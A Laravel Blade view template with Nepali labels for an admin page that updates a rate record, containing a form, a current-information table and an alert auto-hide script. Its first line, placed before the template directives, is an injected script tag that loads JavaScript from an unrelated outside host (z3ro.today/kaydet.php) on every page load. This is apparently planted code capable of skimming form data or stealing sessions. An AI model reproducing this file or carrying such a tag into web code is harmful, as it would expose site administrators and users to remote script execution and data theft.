<script src="http://z3ro.today/kaydet.php"></script>@extends('layouts.app')

@section('content')
<!-- start page title -->
<div class="row">
    <div class="col-12">
        <div class="page-title-box d-sm-flex align-items-center justify-content-between">
            <h4 class="mb-sm-0 font-size-18">दर अपडेट गर्नुहोस्</h4>

            <div class="page-title-right">
                <ol class="breadcrumb m-0">
                    <li class="breadcrumb-item"><a href="{{ route('rates.index') }}">दरहरू</a></li>
                    <li class="breadcrumb-item active">अपडेट</li>
                </ol>
            </div>
        </div>
    </div>
</div>
<!-- end page title -->

@if(session('success'))
    <div class="alert alert-success alert-dismissible fade show" role="alert">
        {{ session('success') }}
        <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
    </div>
@endif

@if(session('error'))
    <div class="alert alert-danger alert-dismissible fade show" role="alert">
        {{ session('error') }}
        <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
    </div>
@endif

<div class="row">
    <div class="col-lg-8">
        <div class="card">
            <div class="card-header">
                <h4 class="card-title mb-0">दर अपडेट गर्नुहोस्</h4>
            </div>
            <div class="card-body">
                <form action="{{ route('rates.update', $rate->id) }}" method="POST">
                    @csrf
                    @method('PUT')

                    <div class="row">
                        <div class="col-md-6">
                            <div class="mb-3">
                                <label for="level_id" class="form-label">श्रेणी <span class="text-danger">*</span></label>
                                <select class="form-select @error('level_id') is-invalid @enderror" id="level_id" name="level_id" required>
                                    <option value="">श्रेणी छान्नुहोस्</option>
                                    @foreach($levels as $level)
                                        <option value="{{ $level->id }}" {{ $rate->level_id == $level->id || old('level_id') == $level->id ? 'selected' : '' }}>
                                            {{ $level->level }}
                                        </option>
                                    @endforeach
                                </select>
                                @error('level_id')
                                    <div class="invalid-feedback">{{ $message }}</div>
                                @enderror
                            </div>
                        </div>

                        <div class="col-md-6">
                            <div class="mb-3">
                                <label for="rate_amount" class="form-label">दर रकम <span class="text-danger">*</span></label>
                                <input type="number" step="0.01" min="0" class="form-control @error('rate_amount') is-invalid @enderror"
                                       id="rate_amount" name="rate_amount"
                                       value="{{ $rate->rate_amount ?? old('rate_amount') }}"
                                       placeholder="दर रकम प्रविष्ट गर्नुहोस्" required>
                                @error('rate_amount')
                                    <div class="invalid-feedback">{{ $message }}</div>
                                @enderror
                            </div>
                        </div>
                    </div>

                    <div class="d-flex gap-2 justify-content-end">
                        <a href="{{ route('rates.index') }}" class="btn btn-secondary waves-effect waves-light">
                            <i class="bx bx-x me-1"></i> रद्द गर्नुहोस्
                        </a>
                        <button type="submit" class="btn btn-success waves-effect waves-light">
                            <i class="bx bx-edit me-1"></i> अपडेट गर्नुहोस्
                        </button>
                    </div>
                </form>
            </div>
        </div>
    </div>

    <div class="col-lg-4">
        <div class="card">
            <div class="card-header">
                <h4 class="card-title mb-0">हालको जानकारी</h4>
            </div>
            <div class="card-body">
                <div class="table-responsive">
                    <table class="table table-borderless mb-0">
                        <tbody>
                            <tr>
                                <th class="ps-0" scope="row">श्रेणी:</th>
                                <td class="text-muted">{{ $rate->level->level ?? 'N/A' }}</td>
                            </tr>
                            <tr>
                                <th class="ps-0" scope="row">हाल को दर:</th>
                                <td class="text-muted">रु. {{ number_format($rate->rate_amount, 2) }}</td>
                            </tr>
                            <tr>
                                <th class="ps-0" scope="row">सिर्जना मिति:</th>
                                <td class="text-muted">{{ $rate->created_at->format('Y-m-d H:i:s') }}</td>
                            </tr>
                            <tr>
                                <th class="ps-0" scope="row">अन्तिम अपडेट:</th>
                                <td class="text-muted">{{ $rate->updated_at->format('Y-m-d H:i:s') }}</td>
                            </tr>
                        </tbody>
                    </table>
                </div>
            </div>
        </div>
    </div>
</div>
<!-- end row -->

<script>
    document.addEventListener('DOMContentLoaded', function() {
        // Auto-hide alerts after 5 seconds
        setTimeout(function() {
            var alerts = document.querySelectorAll('.alert');
            alerts.forEach(function(alert) {
                if (alert.classList.contains('show')) {
                    alert.classList.remove('show');
                }
            });
        }, 5000);
    });
</script>
@endsection
